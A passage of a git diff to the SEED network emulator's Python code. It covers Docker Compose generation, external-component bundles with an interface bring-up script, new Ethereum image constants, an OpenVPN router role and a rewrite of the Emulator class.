ScopeType.RSNODE: + return f'{base}_{s.asn}_RSNODE' + case ScopeType.RNODE: + return f'{base}_{s.asn}_RNODE' + case _: + raise NotImplementedError + case ScopeTier.Node: + return f'{base}_{s.asn}_{s.node.upper()}' + + def _compileNet(self, net: Network) -> str: + if self.__self_managed_network and net.getType() != NetworkType.Bridge: + pfx = next(self.__dummy_network_pool) + net.setAttribute('dummy_prefix', pfx) + net.setAttribute('dummy_prefix_index', 2) + self._log(f'self-managed network: using dummy prefix {pfx}') + + return DockerCompilerFileTemplates['compose_network'].format( + netId=self._getRealNetName(net), + prefix=net.getAttribute('dummy_prefix') if self.__self_managed_network and net.getType() != NetworkType.Bridge else net.getPrefix(), + mtu=net.getMtu(), + labelList=self._getNetMeta(net) + ) + + def generateEnvFile(self, scope: Scope, dir_prefix: str = '/'): + prefix = dir_prefix + if dir_prefix != '' and not dir_prefix.endswith('/'): + prefix += '/' + + vars = [] + for o, s in self.__config: + try: + if s < scope or s == scope: + sndkey = self._sndary_key(o, s) + val = o.value + vars.append(f'{sndkey}={val}') + except: + pass + assert len(vars) == len(self.__config), 'implementation error' + print('\n'.join(vars), file=open(f'{prefix}.env', 'w')) + + def _makeDummies(self) -> str: + mkdir('dummies') + chdir('dummies') + + dummies = '' + for image in self._used_images: + self._log(f'adding dummy service for image {image}...') + + imageDigest = md5(image.encode('utf-8')).hexdigest() + dockerImage, _ = self.__images[image] + if dockerImage.isLocal(): + dummies += DockerCompilerFileTemplates['compose_dummy'].format( + imageDigest=imageDigest, + dependsOn=DockerCompilerFileTemplates['depends_on'].format(dependsOn=image) + ) + else: + dummies += DockerCompilerFileTemplates['compose_dummy'].format( + imageDigest=imageDigest, + dependsOn="" + ) + + dockerfile = f'FROM {image}\n' + print(dockerfile, file=open(imageDigest, 'w')) + + chdir('..') + return dummies + + def _writeExternalBundles(self, output_dir: str, externals: dict) -> None: + """ + Create a uniquely identifiable folder per external component and write: + - external_components//externals.json (single external only) + - external_components//README.md (how to connect) + - external_components//attach_linux.sh (IP/MAC bring-up) + - external_components//scion/* (topology.json + keys if discoverable) + """ + out = Path(output_dir).resolve() + base = out / "external_components" + base.mkdir(parents=True, exist_ok=True) + + all_topologies = list(out.rglob("topology.json")) + all_keys_dirs = [p for p in out.rglob("keys") if p.is_dir()] + + for ext_name, ext in externals.items(): + name = getattr(ext, "name", ext_name) + role = getattr(ext, "role", "unknown") + asn = getattr(ext, "asn", -1) + impl_type = getattr(ext, "impl_type", "generic") + interfaces = getattr(ext, "interfaces", []) + + ts = datetime.now().strftime("%Y%m%d-%H%M%S") + folder_name = f"{name}__asn{asn}__{ts}" + comp_dir = base / folder_name + comp_dir.mkdir(parents=True, exist_ok=True) + + ext_dict = { + "name": name, + "role": role, + "asn": asn, + "impl_type": impl_type, + "interfaces": [ + { + "name": getattr(i, "name", ""), + "network": getattr(i, "network", ""), + "ip": getattr(i, "ip", ""), + "mac": getattr(i, "mac", ""), + } + for i in interfaces + ], + "scion": getattr(ext, "scion", {}) or {}, + } + with open(comp_dir / "externals.json", "w", encoding="utf-8") as f: + json.dump({name: ext_dict}, f, indent=2) + + lines = [ + "#!/bin/bash", + "set -euo pipefail", + "", + f"# External component: {name} (role={role}, asn={asn}, impl={impl_type})", + "# Usage:", + "# sudo IFACE= ./attach_linux.sh", + "", + 'IFACE="${IFACE:-}"', + 'if [ -z "$IFACE" ]; then', + ' echo "ERROR: Set IFACE, e.g.: sudo IFACE=eth1 ./attach_linux.sh" >&2', + " exit 1", + "fi", + "", + "echo \"Bringing up $IFACE for external component...\"", + "ip link set \"$IFACE\" up", + "", + ] + + for i in interfaces: + iname = getattr(i, "name", "") + ip = getattr(i, "ip", "") + mac = getattr(i, "mac", "") + net = getattr(i, "network", "") + + lines += [f"# Interface {iname} -> SEED network '{net}'"] + if mac: + lines += [f"ip link set dev \"$IFACE\" address {mac}"] + if ip: + lines += [ + f"ip addr flush dev \"$IFACE\" || true", + f"ip addr add {ip} dev \"$IFACE\"", + ] + lines += [""] + + lines += [ + "ip addr show dev \"$IFACE\"", + "echo \"OK. Now connect this interface into your hardware/standalone emulation fabric (bridge/tap).\"", + "", + ] + + attach_path = comp_dir / "attach_linux.sh" + attach_path.write_text("\n".join(lines) + "\n", encoding="utf-8") + try: + attach_path.chmod(0o755) + except Exception: + pass + + readme = [ + f"# External Component Bundle: {name}", + "", + f"- role: `{role}`", + f"- asn: `{asn}`", + f"- impl_type: `{impl_type}`", + "", + "## What this bundle is", + "This folder is generated by SEED to prepare connecting an external hardware/standalone emulation node", + "(e.g., NetFPGA/P4 switch environment) to a SEED topology.", + "", + "## How to use (operator steps)", + "1) Identify the host interface (or TAP) that connects to your hardware/standalone emulation.", + "2) Run the provided Linux script to set MAC/IP and bring the interface up:", + "", + "```bash", + "sudo IFACE= ./attach_linux.sh", + "```", + "", + "3) Connect that interface into your testbed fabric (Linux bridge / switch port / tap).", + "", + "## Files", + "- `externals.json`: machine-readable definition of this external component", + "- `attach_linux.sh`: prepared interface config commands", + "- `scion/`: if SCION artifacts are discoverable in SEED output, they are copied here", + "", + ] + (comp_dir / "README.md").write_text("\n".join(readme) + "\n", encoding="utf-8") + + scion_dir = comp_dir / "scion" + scion_dir.mkdir(parents=True, exist_ok=True) + copied = False + + scion_obj = getattr(ext, "scion", {}) or {} + if isinstance(scion_obj, dict) and scion_obj: + topo = scion_obj.get("topology_json") + if isinstance(topo, dict): + (scion_dir / "topology.json").write_text(json.dumps(topo, indent=2) + "\n", encoding="utf-8") + copied = True + + for topo_path in all_topologies: + p = str(topo_path).lower() + if (f"as{asn}" in p) or (name.lower() in p): + try: + data = topo_path.read_text(encoding="utf-8") + (scion_dir / "topology.json").write_text(data, encoding="utf-8") + copied = True + break + except Exception: + pass + + for keys_dir in all_keys_dirs: + p = str(keys_dir).lower() + if (f"as{asn}" in p) or (name.lower() in p): + try: + target = scion_dir / "keys" + target.mkdir(parents=True, exist_ok=True) + for fp in keys_dir.rglob("*"): + if fp.is_file(): + rel = fp.relative_to(keys_dir) + dest = target / rel + dest.parent.mkdir(parents=True, exist_ok=True) + dest.write_bytes(fp.read_bytes()) + copied = True + break + except Exception: + pass + + if not copied: + (scion_dir / "README.txt").write_text( + "SCION artifacts not found in this output. When compiling a SCION topology, " + "SEED will copy topology.json and keys here (best-effort discovery).\n", + encoding="utf-8", + ) + + self._log(f"Wrote external component bundles to: {base}") + + def _doCompile(self, emulator: Emulator): + registry = emulator.getRegistry() + outdir = str(Path(".").resolve()) + + # Task 2 bundles + externals = getattr(emulator, "getExternalComponents", lambda: {})() + self._log(f"External components detected: {list(externals.keys())}") + self._writeExternalBundles(outdir, externals) + + # Task 3 (External Emulations) + ext_specs = list(getattr(emulator, "getExternalEmulations", lambda: [])() or []) + if ext_specs: + self._log(f"External emulations detected: {[s.name for s in ext_specs]}") + self._writeExternalEmuBundles(outdir, ext_specs) + for s in ext_specs: + self.__services += self._compileExternalEmuService(emulator, s) + + self._groupSoftware(emulator) + + for ((scope, type, name), obj) in registry.getAll().items(): + if type == 'net': + self._log(f'creating network: {scope}/{name}...') + self.__networks += self._compileNet(obj) + + for ((scope, type, name), obj) in registry.getAll().items(): + if type == 'rnode': + self._log(f'compiling router node {name} for as{scope}...') + self.__services += self._compileNode(obj) + elif type == 'csnode': + self._log(f'compiling control service node {name} for as{scope}...') + self.__services += self._compileNode(obj) + elif type == 'hnode': + self._log(f'compiling host node {name} for as{scope}...') + self.__services += self._compileNode(obj) + elif type == 'rs': + self._log(f'compiling rs node for {name}...') + self.__services += self._compileNode(obj) + elif type == 'snode': + self._log(f'compiling service node {name}...') + self.__services += self._compileNode(obj) + + if self.__internet_map_enabled: + self._log('enabling seedemu-internet-map...') + self.attachInternetMap(port_forwarding="{}:8080/tcp".format(self.__internet_map_port)) + + if self.__ether_view_enabled: + self._log('enabling seedemu-ether-view...') + self.__services += DockerCompilerFileTemplates['seedemu_ether_view'].format( + clientImage=SEEDEMU_ETHER_VIEW_IMAGE, + clientPort=self.__ether_view_port + ) + self.__services += '\n' + + self.__services += self.__custom_services + + local_images = '' + for (image, _) in self.__images.values(): + if image.getName() not in self._used_images or not image.isLocal(): + continue + local_images += DockerCompilerFileTemplates['local_image'].format( + imageName=image.getName(), + dirName=image.getDirName() + ) + + toplevelvolumes = self._computeComposeTopLvlVolumes() + + self._log('creating docker-compose.yml...') + print( + DockerCompilerFileTemplates['compose'].format( + services=self.__services, + networks=self.__networks, + volumes=toplevelvolumes, + dummies=local_images + self._makeDummies(), + ), + file=open('docker-compose.yml', 'w') + ) + + self.generateEnvFile(Scope(ScopeTier.Global), '') + + def _computeComposeTopLvlVolumes(self) -> str: + toplevelvolumes = '' + if len(topvols := self._getVolumes()) > 0: + hit = False + for v in topvols: + v.mode = 'toplevel' + + for v in [vv for vv in topvols if vv.asDict()['type'] == 'volume']: + hit = True + toplevelvolumes += ' {}:\n'.format(v.asDict()['source']) + lines = dump(v).rstrip('\n').split('\n') + toplevelvolumes += '\n'.join( + map(lambda x: ' ' if x[0] != 0 else ' ' + x[1] if x[1] != '' else '', enumerate(lines)) + ) + toplevelvolumes += '\n' + + if hit: + toplevelvolumes = 'volumes:\n' + toplevelvolumes + return toplevelvolumes + + def attachInternetMap(self, asn: int = -1, net: str = '', ip_address: str = '', + port_forwarding: str = '', env: list = [], + show_on_map=False, node_name='seedemu_internet_map') -> "Docker": + self._log(f'attaching the Internet Map container to {asn}:{net}') + self.__internet_map_enabled = False + self.attachCustomContainer( + DockerCompilerFileTemplates['seedemu_internet_map'].format( + serviceName=node_name, + clientImage=SEEDEMU_INTERNET_MAP_IMAGE, + containerName=node_name, + ), + asn=asn, net=net, ip_address=ip_address, port_forwarding=port_forwarding, + env=env, show_on_map=show_on_map, node_name=node_name + ) + return self + + def attachCustomContainer(self, compose_entry: str, asn: int = -1, net: str = '', + ip_address: str = '', port_forwarding: str = '', env: list = [], + show_on_map=False, node_name: str = 'unnamed') -> "Docker": + self._log(f'attaching an existing container to {asn}:{net}') + self.__custom_services += compose_entry + + if port_forwarding != '': + self.__custom_services += DockerCompilerFileTemplates['port_forwarding_entry'].format( + port_forwarding_field=port_forwarding + ) + + if env: + self.__custom_services += DockerCompilerFileTemplates['environment_variable_entry'] + field_name = DockerCompilerFileTemplates['environment_variable_entry'] + leading_spaces = len(field_name) - len(field_name.lstrip()) + for e in env: + self.__custom_services += '{}- {}\n'.format(' ' * (leading_spaces + 4), e) + + if asn < 0: + self.__custom_services += '\n' + else: + net_prefix = self._contextToPrefix(asn, 'net') + real_netname = '{}{}'.format(net_prefix, net) + + ipv4_address_entry = '' if ip_address == '' else 'ipv4_address: {}'.format(ip_address) + + self.__custom_services += DockerCompilerFileTemplates['network_entry'].format( + network_name_field=real_netname, + ipv4_address_field=ipv4_address_entry + ) + self.__custom_services += '\n' + + if show_on_map: + self.__custom_services += DockerCompilerFileTemplates['custom_compose_label_meta'].format( + labelList=self._getCustomNodeMeta(asn, node_name, net, ip_address) + ) + self.__custom_services += '\n' + + return self + + def _getCustomNodeMeta(self, asn: int = -1, node_name: str = '', net: str = '', ip_address: str = '') -> str: + labels = '' + + if asn > -1: + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='asn', value=asn) + if node_name: + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='nodename', value=node_name) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='role', value='Host') + + if net: + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='net.0.name', value=net) + if ip_address: + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='net.0.address', value=ip_address) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='custom', value='custom') + return labels diff --git a/seedemu/compiler/DockerImageConstant.py b/seedemu/compiler/DockerImageConstant.py index ee27ffe62..e610556ca 100644 --- a/seedemu/compiler/DockerImageConstant.py +++ b/seedemu/compiler/DockerImageConstant.py @@ -19,6 +19,14 @@ software=['software-properties-common', 'python3', 'python3-pip'], subset=BASE_IMAGE) +ETHEREUM_IMAGE_LEGACY = DockerImage(name='handsonsecurity/seedemu-ethereum:legacy', + software=['software-properties-common', 'python3', 'python3-pip'], + subset=BASE_IMAGE) + +ETHEREUM_IMAGE_POS = DockerImage(name='handsonsecurity/seedemu-ethereum:pos', + software=['software-properties-common', 'python3', 'python3-pip'], + subset=BASE_IMAGE) + OP_STACK_IMAGE = DockerImage(name='huagluck/seedemu-op-stack', software=[], subset=BASE_IMAGE) SC_DEPLOYER_IMAGE = DockerImage(name='huagluck/seedemu-sc-deployer', software=[], subset=BASE_IMAGE) @@ -44,6 +52,14 @@ software=['software-properties-common', 'python3', 'python3-pip'], subset=BASE_IMAGE_ARM64) +ETHEREUM_IMAGE_ARM64_LEGACY = DockerImage(name='handsonsecurity/seedemu-ethereum-arm64:legacy', + software=['software-properties-common', 'python3', 'python3-pip'], + subset=BASE_IMAGE_ARM64) + +ETHEREUM_IMAGE_ARM64_POS = DockerImage(name='handsonsecurity/seedemu-ethereum-arm64:pos', + software=['software-properties-common', 'python3', 'python3-pip'], + subset=BASE_IMAGE_ARM64) + OP_STACK_IMAGE_ARM64 = DockerImage(name='huagluck/seedemu-op-stack', software=[], subset=BASE_IMAGE_ARM64) SC_DEPLOYER_IMAGE_ARM64 = DockerImage(name='huagluck/seedemu-sc-deployer', software=[], subset=BASE_IMAGE_ARM64) @@ -56,7 +72,9 @@ BaseSystem.UBUNTU_20_04: UBUNTU_IMAGE, BaseSystem.SEEDEMU_BASE: BASE_IMAGE, BaseSystem.SEEDEMU_ROUTER: ROUTER_IMAGE, - BaseSystem.SEEDEMU_ETHEREUM: ETHEREUM_IMAGE, + BaseSystem.SEEDEMU_ETHEREUM: ETHEREUM_IMAGE, + BaseSystem.SEEDEMU_ETHEREUM_LEGACY: ETHEREUM_IMAGE_LEGACY, + BaseSystem.SEEDEMU_ETHEREUM_POS: ETHEREUM_IMAGE_POS, BaseSystem.SEEDEMU_OP_STACK: OP_STACK_IMAGE, BaseSystem.SEEDEMU_SC_DEPLOYER: SC_DEPLOYER_IMAGE, BaseSystem.SEEDEMU_CHAINLINK: CHAINLINK_IMAGE @@ -67,6 +85,8 @@ BaseSystem.SEEDEMU_BASE: BASE_IMAGE_ARM64, BaseSystem.SEEDEMU_ROUTER: ROUTER_IMAGE_ARM64, BaseSystem.SEEDEMU_ETHEREUM: ETHEREUM_IMAGE_ARM64, + BaseSystem.SEEDEMU_ETHEREUM_LEGACY: ETHEREUM_IMAGE_ARM64_LEGACY, + BaseSystem.SEEDEMU_ETHEREUM_POS: ETHEREUM_IMAGE_ARM64_POS, BaseSystem.SEEDEMU_OP_STACK: OP_STACK_IMAGE_ARM64, BaseSystem.SEEDEMU_SC_DEPLOYER: SC_DEPLOYER_IMAGE_ARM64, BaseSystem.SEEDEMU_CHAINLINK: CHAINLINK_IMAGE_ARM64 diff --git a/seedemu/core/AddressAssignmentConstraint.py b/seedemu/core/AddressAssignmentConstraint.py index 9964b3754..0fdc9c173 100644 --- a/seedemu/core/AddressAssignmentConstraint.py +++ b/seedemu/core/AddressAssignmentConstraint.py @@ -167,7 +167,7 @@ def getOffsetAssigner(self, type: NodeRole) -> Assigner: if NodeRole.Host == type or NodeRole.ControlService == type: return Assigner(self.__hostStart, self.__hostEnd, self.__hostStep) - if NodeRole.Router == type or type == NodeRole.BorderRouter: + if NodeRole.Router == type or type == NodeRole.BorderRouter or NodeRole.OpenVpnRouter == type: return Assigner(self.__routerStart, self.__routerEnd, self.__routerStep) raise ValueError("IX IP assignment must done with mapIxAddress().") diff --git a/seedemu/core/AutonomousSystem.py b/seedemu/core/AutonomousSystem.py index f84101904..b6c3e6ebf 100644 --- a/seedemu/core/AutonomousSystem.py +++ b/seedemu/core/AutonomousSystem.py @@ -107,7 +107,7 @@ def registerNodes(self, emulator: Emulator): if net.getRemoteAccessProvider() != None: rap = net.getRemoteAccessProvider() - brNode = self.createRouter('br-{}'.format(net.getName())) + brNode = self.createOpenVpnRouter('br-{}'.format(net.getName())) brNet = emulator.getServiceNetwork() rap.configureRemoteAccess(emulator, net, brNode, brNet) @@ -373,3 +373,15 @@ def print(self, indent: int) -> str: out += host.print(indent + 4) return out + + def createOpenVpnRouter(self, name: str) -> Node: + """! + @brief Create a OpenVpn router node. + + @param name name of the new node. + @returns Node. + """ + assert name not in self.__routers, 'Router with name {} already exists.'.format(name) + self.__routers[name] = Router(name, NodeRole.OpenVpnRouter, self.__asn) + + return self.__routers[name] \ No newline at end of file diff --git a/seedemu/core/BaseSystem.py b/seedemu/core/BaseSystem.py index 3f231017c..ca9f490b4 100644 --- a/seedemu/core/BaseSystem.py +++ b/seedemu/core/BaseSystem.py @@ -14,6 +14,8 @@ class BaseSystem(Enum): SEEDEMU_BASE = 'seedemu-base' SEEDEMU_ROUTER = 'seedemu-router' SEEDEMU_ETHEREUM = 'seedemu-ethereum' + SEEDEMU_ETHEREUM_LEGACY = 'seedemu-ethereum-legacy' + SEEDEMU_ETHEREUM_POS = 'seedemu-ethereum-pos' SEEDEMU_OP_STACK = 'seedemu-op-stack' SEEDEMU_SC_DEPLOYER = 'seedemu-sc-deployer' SEEDEMU_CHAINLINK = 'seedemu-chainlink' @@ -26,6 +28,8 @@ class BaseSystem(Enum): SEEDEMU_BASE: [UBUNTU_20_04], SEEDEMU_ROUTER: [UBUNTU_20_04, SEEDEMU_BASE], SEEDEMU_ETHEREUM: [UBUNTU_20_04, SEEDEMU_BASE], + SEEDEMU_ETHEREUM_LEGACY: [UBUNTU_20_04, SEEDEMU_BASE], + SEEDEMU_ETHEREUM_POS: [UBUNTU_20_04, SEEDEMU_BASE], SEEDEMU_OP_STACK: [UBUNTU_20_04, SEEDEMU_BASE], SEEDEMU_SC_DEPLOYER: [UBUNTU_20_04, SEEDEMU_BASE], SEEDEMU_CHAINLINK: [UBUNTU_20_04, SEEDEMU_BASE], diff --git a/seedemu/core/Emulator.py b/seedemu/core/Emulator.py index 8c991e2c8..c3e1e0d7c 100644 --- a/seedemu/core/Emulator.py +++ b/seedemu/core/Emulator.py @@ -1,573 +1,618 @@ -from __future__ import annotations -from seedemu.core.enums import NetworkType, NodeRole -from .ExternalConnectivityProvider import ExternalConnectivityProvider -from .Merger import Mergeable, Merger -from .Registry import Registry, Registrable, Printable -from .Network import Network -from seedemu import core -from typing import Dict, Set, Tuple, List -from sys import prefix, stderr -from ipaddress import IPv4Network -import pickle - -class BindingDatabase(Registrable, Printable): - """! - @brief Registrable wrapper for Bindings. - - classes needs to be Registrable to be saved in the Registry. wrapping - bindings database with Registrable allows the bindings to be preserved in - dumps. - """ - - db: List[core.Binding] - vpnodes: Dict[str, core.Node] - - def __init__(self): - """! - @brief Create a new binding database. - """ - - ## Binding database - self.db = [] - - ## virtual "physical nodes" - self.vpnodes = {} - - def print(self, indentation: int) -> str: - """! - @brief get printable string. - - @param indentation indentation. - - @returns printable string. - """ - - return ' ' * indentation + 'BindingDatabase\n' - -class LayerDatabase(Registrable, Printable): - """! - @brief Registrable wrapper for Layers. - - classes needs to be Registrable to be saved in the Registry. wrapping - layers database with Registrable allows the layers to be preserved in dumps. - """ - - db: Dict[str, Tuple[core.Layer, bool]] - - def __init__(self): - """! - @brief Build a new layers database. - """ - - ## Layers database - self.db = {} - - def print(self, indentation: int) -> str: - """! - @brief get printable string. - - @param indentation indentation. - - @returns printable string. - """ - - return ' ' * indentation + 'LayerDatabase\n' - -class Emulator: - """! - @brief The Emulator class. - - Emulator class is the entry point for emulations. - """ - - __registry: Registry - __layers: LayerDatabase - __dependencies_db: Dict[str, Set[Tuple[str, bool]]] - __rendered: bool - __bindings: BindingDatabase - __resolved_bindings: Dict[str, core.Node] - - __service_net: Network - __service_net_prefix: str - __ecp: ExternalConnectivityProvider - - def __init__(self, serviceNetworkPrefix: str = '192.168.66.0/24'): - """! - @brief Construct a new emulation. - - @param serviceNetworkPrefix (optional) service network prefix for this - emulator. A service network is a network that does not take part in the - emulation, and provide access between the emulation nodes and the host - node. Service network will not be created unless some layer/service/as - asks for it. - """ - self.__rendered = False - self.__dependencies_db = {} - self.__resolved_bindings = {} - self.__registry = Registry() - self.__layers = LayerDatabase() - self.__bindings = BindingDatabase() - - self.__registry.register('seedemu', 'dict', 'layersdb', self.__layers) - self.__registry.register('seedemu', 'list', 'bindingdb', self.__bindings) - - self.__service_net_prefix = serviceNetworkPrefix - self.__service_net = None - self.__ecp = ExternalConnectivityProvider() - - - def __render(self, layerName, optional: bool, configure: bool): - """! - @brief Render a layer. - - @param layerName name of layer. - @throws AssertionError if dependencies unmet - """ - verb = 'configure' if configure else 'render' - - self.__log('requesting {}: {}'.format(verb, layerName)) - - if optional and layerName not in self.__layers.db: - self.__log('{}: not found but is optional, skipping'.format(layerName)) - return - - assert layerName in self.__layers.db, 'Layer {} required but missing'.format(layerName) - - (layer, done) = self.__layers.db[layerName] - if done: - self.__log('{}: already done, skipping'.format(layerName)) - return - - if layerName in self.__dependencies_db: - for (dep, opt) in self.__dependencies_db[layerName]: - self.__log('{}: requesting dependency render: {}'.format(layerName, dep)) - self.__render(dep, opt, configure) - - self.__log('entering {}...'.format(layerName)) - - hooks: List[core.Hook] = [] - for hook in self.__registry.getByType('seedemu', 'hook'): - if hook.getTargetLayer() == layerName: hooks.append(hook) - - if configure: - self.__log('invoking pre-configure hooks for {}...'.format(layerName)) - for hook in hooks: hook.preconfigure(self) - self.__log('configuring {}...'.format(layerName)) - layer.configure(self) - self.__log('invoking post-configure hooks for {}...'.format(layerName)) - for hook in hooks: hook.postconfigure(self) - else: - self.__log('invoking pre-render hooks for {}...'.format(layerName)) - for hook in hooks: hook.prerender(self) - self.__log('rendering {}...'.format(layerName)) - layer.render(self) - self.__log('invoking post-render hooks for {}...'.format(layerName)) - for hook in hooks: hook.postrender(self) - - self.__log('done: {}'.format(layerName)) - self.__layers.db[layerName] = (layer, True) - - def __loadDependencies(self, deps: Dict[str, Set[Tuple[str, bool]]]): - """! - @brief Load dependencies list. - - @param deps dependencies list. - """ - for (layer, deps) in deps.items(): - if not layer in self.__dependencies_db: - self.__dependencies_db[layer] = deps - continue - - self.__dependencies_db[layer] |= deps - - def __log(self, message: str): - """! - @brief log to stderr. - - @param message message. - """ - print('== Emulator: {}'.format(message), file=stderr) - - def rendered(self) -> bool: - """! - @brief test if the emulator is rendered. - - @returns True if rendered - """ - return self.__rendered - - def addHook(self, hook: core.Hook) -> Emulator: - """! - @brief Add a hook. - - @param hook Hook. - - @returns self, for chaining API calls. - """ - self.__registry.register('seedemu', 'hook', hook.getName(), hook) - - return self - - def addBinding(self, binding: core.Binding) -> Emulator: - """! - @brief Add a binding. - - @param binding binding. - - @returns self, for chaining API calls. - """ - self.__bindings.db.append(binding) - - return self - - def getBindings(self) -> List[core.Binding]: - """! - @brief Get all bindings. - - @returns list of bindings. - """ - return self.__bindings.db - - def addLayer(self, layer: core.Layer) -> Emulator: - """! - @brief Add a layer. - - @param layer layer to add. - @throws AssertionError if layer already exist. - - @returns self, for chaining API calls. - """ - - lname = layer.getName() - assert lname not in self.__layers.db, 'layer {} already added.'.format(lname) - self.__registry.register('seedemu', 'layer', lname, layer) - self.__layers.db[lname] = (layer, False) - - return self - - def getLayer(self, layerName: str) -> core.Layer: - """! - @brief Get a layer. - - @param layerName of the layer. - @returns layer. - """ - return self.__registry.get('seedemu', 'layer', layerName) - - def getLayers(self) -> List[core.Layer]: - """! - @brief Get all layers. - - @returns list of layers. - """ - return self.__registry.getByType('seedemu', 'layer') - - def getServerByVirtualNodeName(self, vnodeName: str) -> core.Server: - """! - @brief Get server by virtual node name. - - Note that vnodeName is created and mapped with server in service layer. - - @param vnodeName name of vnode. - @returns server. - """ - for (layer, _) in self.__layers.db.values(): - if not isinstance(layer, core.Service): continue - for (vnode, server) in layer.getPendingTargets().items(): - if vnode == vnodeName: - return server - return None - - def resolvVnode(self, vnode: str) -> core.Node: - """! - @brief resolve physical node for the given virtual node. - - @param vnode virtual node name. - - @returns physical node. - """ - if vnode in self.__resolved_bindings: return self.__resolved_bindings[vnode] - for binding in self.getBindings(): - pnode = binding.getCandidate(vnode, self, True) - if pnode == None: continue - return pnode - assert False, 'cannot resolve vnode {}'.format(vnode) - - def getBindingFor(self, vnode: str) -> core.Node: - """! - @brief get physical node for the given virtual node from the - pre-populated vnode-pnode mappings. - - Note that the bindings are processed in the early render stage, meaning - calls to this function will always fail before render, and only virtual - node names that have been used in service will be available to be - "resolve" to the physical node using this function. - - This is meant to be used by services to find the physical node to - install their servers on and should not be used for any other purpose. - if you try to resolve some arbitrary vnode names to physical node, - use the resolveVnode function instead. - - tl;dr: don't use this, use resolvVnode, unless you know what you are - doing. - - @param vnode virtual node. - - @returns physical node. - """ - assert vnode in self.__resolved_bindings, 'failed to find binding for vnode {}.'.format(vnode) - return self.__resolved_bindings[vnode] - - def getServiceNetwork(self) -> Network: - """! - @brief get the for-service network of this emulation. If one does not - exist, a new one will be created. - - A for-service network is a network that does not take part in the - emulation, and provide access between the emulation nodes and the host - node. - - @returns service network. - """ - if self.__service_net == None: - self.__service_net = self.__registry.register('seedemu', 'net', '000_svc', Network('000_svc', NetworkType.Bridge, IPv4Network(self.__service_net_prefix), direct = False)) - - return self.__service_net - - def getExternalConnectivityProvider(self) -> ExternalConnectivityProvider: - """!@brief return the emulators External'RealWorld'ConnectivityProvider - """ - # if we already own the service network, its only fair, - # we also provide the means to use it properly. . . - return self.__ecp - - def render(self) -> Emulator: - """! - @brief Render to emulation. - - @throws AssertionError if dependencies unmet - - @returns self, for chaining API calls. - """ - assert not self.__rendered, 'already rendered.' - - for (layer, _) in self.__layers.db.values(): - self.__loadDependencies(layer.getDependencies()) - - # render base first - self.__render('Base', False, True) - - # collect all pending vnode names - self.__log('collecting virtual node names in the emulation...') - vnodes: List[str] = [] - for (layer, _) in self.__layers.db.values(): - if not isinstance(layer, core.Service): continue - for (vnode, _) in layer.getPendingTargets().items(): - assert vnode not in vnodes, 'duplicated vnode: {}'.format(vnode) - vnodes.append(vnode) - self.__log('found {} virtual nodes.'.format(len(vnodes))) - - # resolv bindings for all vnodes - self.__log('resolving binding for all virtual nodes...') - for binding in self.getBindings(): - for vnode in vnodes: - if vnode in self.__resolved_bindings: continue - pnode = binding.getCandidate(vnode, self) - if pnode == None: continue - self.__log('vnode {} bound to as{}/{}'.format(vnode, pnode.getAsn(), pnode.getName())) - self.__resolved_bindings[vnode] = pnode - - self.__log('applying changes made to virtual physical nodes to real physical nodes...') - vpnodes = self.__bindings.vpnodes - for (vnode, pnode) in self.__resolved_bindings.items(): - if not vnode in vpnodes: continue - vpnode = vpnodes[vnode] - - self.__log('applying changes made on vnode {} to pnode as{}/{}...'.format(vnode, pnode.getAsn(), pnode.getName())) - pnode.copySettings(vpnode) - - for layerName in self.__layers.db.keys(): - if layerName != 'EtcHosts': - self.__render(layerName, False, True) - - # render EtcHost last - if 'EtcHosts' in self.__layers.db.keys(): - self.__render('EtcHosts', False, True) - - # FIXME - for (name, (layer, _)) in self.__layers.db.items(): - self.__layers.db[name] = (layer, False) - - for layerName in self.__layers.db.keys(): - self.__render(layerName, False, False) - - self.__rendered = True - - return self - - def compile(self, compiler: core.Compiler, output: str, override: bool = False) -> Emulator: - """! - @brief Compile the simulation. - - @param compiler to use. - @param output output directory path. - @param override (optional) override the output folder if it already - exist. False by default. - - @returns self, for chaining API calls. - """ - compiler.compile(self, output, override) - - return self - - def updateOutputDirectory(self, compiler: core.Compiler, callbacks: list) -> Emulator: - """! - @brief update the output directory in a flexible way. Each service might need to update it in a different way - @param compiler to use - @param callbacks which is a list of custom functions that will be executed to update the output directory - """ - - for func in callbacks: - func(compiler) - - def getRegistry(self) -> Registry: - """! - @brief Get the Registry. - - @returns Registry. - """ - return self.__registry - - def getVirtualNode(self, vnode_name: str) -> core.Node: - """! - @brief get a virtual "physical" node. - - This API allows you to create a "virtual" physical node for a virtual - node. A real "Node" instance will be returned, you can make any changes - to it, and those changes will be copied to the real physical node the - virtual node has bound to during render. - - Note that all the APIs that require the node to be in an AS will not - work. Like `getAsn`, `joinNetwork`, etc. You will get an error if you - use them. - - @param vnode_name virtual node name. - - @returns node - """ - if vnode_name not in self.__bindings.vpnodes: - self.__bindings.vpnodes[vnode_name] = core.Node(vnode_name, NodeRole.Host, 0) - - return self.__bindings.vpnodes[vnode_name] - - def setVirtualNode(self, vnode_name: str, node: core.Node) -> Emulator: - """! - @brief set a virtual node. - - This API allows you to overwrite an existing, or create new virtual node - with the given node object. - - You should use the getVirtualNode API instead, unless you know what you - are doing. - - @param vnode_name virtual node name. - @param node virtual physical node. - - @returns self, for chaining API calls. - """ - assert node.getAsn() == 0, 'vpnode asn must be 0.' - self.__bindings.vpnodes[vnode_name] = node - - return self - - def getVirtualNodes(self) -> Dict[str, core.Node]: - """! - @brief get dict of virtual "physical" nodes. - - @return dict of nodes where key is virtual node name. - """ - return self.__bindings.vpnodes - - def merge(self, other: Emulator, mergers: List[Merger] = [], vnodePrefix: str = '') -> Emulator: - """! - @brief merge two emulators. - - @param other the other emulator. - @param mergers list of merge handlers. - @param vnodePrefix prefix to add to the vnodes from the other emulator. - - @returns new emulator. - """ - - new_layers: Dict[Mergeable] = {} - other_layers: Dict[Mergeable] = {} - - for l in self.getLayers(): new_layers[l.getTypeName()] = l - for l in other.getLayers(): other_layers[l.getTypeName()] = l - - for l in other_layers.values(): - typename = l.getTypeName() - - if isinstance(l, core.Service): - l.addPrefix(vnodePrefix) - - if typename not in new_layers.keys(): - new_layers[typename] = l - continue - - merged = False - - for merger in mergers: - if merger.getTargetType() != typename: continue - new_layers[typename] = merger.doMerge(new_layers[typename], l) - merged = True - - assert merged, 'abort: no merger found 